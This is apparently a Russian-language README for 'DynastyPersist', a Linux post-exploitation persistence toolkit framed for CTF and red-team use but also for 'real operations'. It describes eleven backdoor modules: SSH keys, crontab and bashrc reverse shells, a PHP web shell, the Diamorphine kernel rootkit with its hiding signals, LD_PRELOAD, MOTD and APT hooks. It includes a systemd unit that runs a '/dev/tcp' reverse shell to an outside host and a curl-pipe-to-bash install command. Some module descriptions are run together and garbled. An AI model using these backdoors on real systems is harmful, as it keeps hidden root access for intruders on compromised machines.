
Набор инструментов для обеспечения постоянного доступа в Linux с 11 модулями для бэкдоров SSH-ключей, заданий cron, сервисов systemd, руткитов LKM и повышения привилегий через LD_PRELOAD. Предназначен для соревнований CTF и операций красных команд.

| Возможности | Описание |
|---|---|
| Генерация SSH-ключей | Автоматически генерирует SSH-ключи для скрытого доступа. |
| Постоянство через Cronjob | Настраивает cron-задачи для запланированного постоянства. |
| Пользователь с правами root | Создаёт пользователя с привилегиями root. |
| Постоянство через RCE | Достигает постоянства через удалённое выполнение кода. |
| LKM/Руткит | Демонстрирует постоянство на основе руткита Linux Kernel Module (LKM). |
| Постоянство через Bashrc | Изменяет файлы инициализации оболочки пользователя для постоянства (алиасы / реверс-шеллы). |
| Systemd-служба для root | Настраивает systemd-службу для достижения постоянства с правами root. |
| Настройка LD_PRELOAD для повышения привилегий | Настраивает LD_PRELOAD для повышения привилегий. |
| Бэкдоринг сообщения дня / заголовка | Внедряет бэкдор в отображение системных сообщений для скрытого доступа. |
| Изменение существующей systemd-службы | Манипулирует существующей systemd-службой для обеспечения постоянства. |
| Бэкдоринг команды APT | Внедряет бэкдор в команду apt для получения оболочки. |
Получите доступ к серверу с помощью генерации ключей ssh. Этот модуль создаёт ключ id_rsa для каждого пользователя. Его можно использовать для обратного доступа. После запуска этого модуля атакующий может подключиться к серверу через ssh.
Это можно сделать вручную с помощью команды ssh-keygen. Однако модуль за считанные секунды создаёт закрытый ключ для каждого пользователя.
root@kali ~ ssh -i id_rsa [email protected]
1Cron-задачи в Linux — это запланированные задания, которые выполняются автоматически через заданные интервалы.
Один из самых эффективных модулей, использующий реверс-шеллы. Этот модуль напрямую записывает команды реверс-шелла в /etc/crontab. Это откроет оболочку на порту, который вы слушаете.
root@kali ~ nc -nvlp 9999
2ssh.root@kali ~ ssh [email protected]
3Этот модуль поставляется со скриптом php, который размещается в корневом каталоге веб-сервера. Скрипт находится в /var/www/html/dynasty_rce/rce.php. Кроме того, префикс dynasty_rce можно скрыть, если перед этим запущен модуль LKM.
Переход на victim_ip:port/dynasty_rce/rce.php даст вам возможность выполнять команды в оболочке.
Номер модуля: 4
Продвинутый метод постоянства, который внедряет руткит в ядро сервера. Программа использует руткит LKM с открытым исходным кодом под названием Diamorphine. Модуль находится в /var/tmp/.memory как временная директория. Эта директория удаляется после настройки модуля.
Приведённый ниже блок кода демонстрирует использование этого модуля.
victim@ubuntu ~ kill -64 0 # Повышение до root.
victim@ubuntu ~ mkdir dynasty_persist # Любая директория, начинающаяся с dynasty, будет скрыта.
victim@ubuntu ~ kill -31 <process> # Скрывает процессы.
victim@ubuntu ~ lsmod | grep -i diamorphine # Скрывает себя.
victim@ubuntu ~ kill -63 0 # Делает видимым в выводе lsmod.
5find или cat.root@kali ~ nc -nvlp 9999
6Модуль, создающий пользовательскую службу в systemd для обратного доступа.
Пример:
Description=Dynasty Persist
[Service]
ExecStart=sudo bash /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/9999 0>&1'
Restart=always
RestartSec=30
[Install]
WantedBy=default.target"
Приведённый выше пример будет создан как служба. Этот метод эффективен и надёжен.
Номер модуля: 7
LD_PRELOAD — это переменная окружения в Linux, позволяющая пользователям предварительно загружать разделяемую библиотеку перед другими библиотеками. Повышение привилегий с помощью LD_PRELOAD включает загрузку вредоносной библиотеки для перехвата и изменения системных вызовов, что потенциально даёт повышенные привилегии. Модуль внедряет бэкдор в такие команды, как find и wget.
Номер модуля: 8
«Message of the Day» (MOTD) в Linux — это настраиваемый текст, отображаемый пользователям при входе, содержащий информацию или обновления о системе. Обычно он хранится в файле /etc/motd и может изменяться системными администраторами.
Этот модуль записывает оболочку в /etc/update-motd.d/00-header. Обычно это срабатывает при входе пользователя.
Номер модуля: 9
Аналогично модулю 7, этот изменяет существующую службу для обратного доступа.
Проще говоря, он перезаписывает ExecStartPre в службе на команду реверс-шелла.
Номер модуля: 10
«APT» расшифровывается как Advanced Package Tool (Продвинутый инструмент управления пакетами) и обычно используется в системах на основе Debian, таких как Ubuntu. Файл будет находиться здесь: /etc/apt/apt.conf.d/42backdoor.
Внедряет бэкдор в команду apt: при каждом её запуске открывается оболочка.
Номер модуля: 11
В настоящее время в последнем обновлении (1.4) доступно 2 режима.
Режимы: console и ctf, каждый из которых предназначен для работы по-своему.
По сравнению с ctf, режим console обладает большим количеством функций и стабильностью.
Режим console запускает инструмент в обычной конфигурации со всеми функциями. Эти функции выполняются локально на хосте, где запущен скрипт. Предназначен для обеспечения постоянства в реальных операциях.
Префикс use, за которым следует номер модуля, используется для запуска выбранного модуля. Например, use 1
Кроме того, интерфейс обновлён: модули/полезные нагрузки теперь отображаются при вводе show payloads.
Наконец, меню справки/опций также изменено: введите show options, чтобы просмотреть его.
Режим ctf — это дополнительная функция для входа на скомпрометированный сервер через SSH и получения постоянства. Это дополнение очень поможет в KoTH или Battlegrounds. Кроме того, оно сэкономит много времени, затрачиваемого на настройку постоянства.
Выполняет большинство функций, доступных в console.
$ ./dynasty.sh <lhost> <lport> <mode>
$ ./dynasty.sh ctf
$ ./dynasty.sh 10.10.14.3 9999 console
Через Git
$ git clone https://github.com/Trevohack/DynastyPersist
$ cd DynastyPersist/src
Через Curl
$ curl -sSL https://raw.githubusercontent.com/Trevohack/DynastyPersist/main/src/dynasty.sh | bash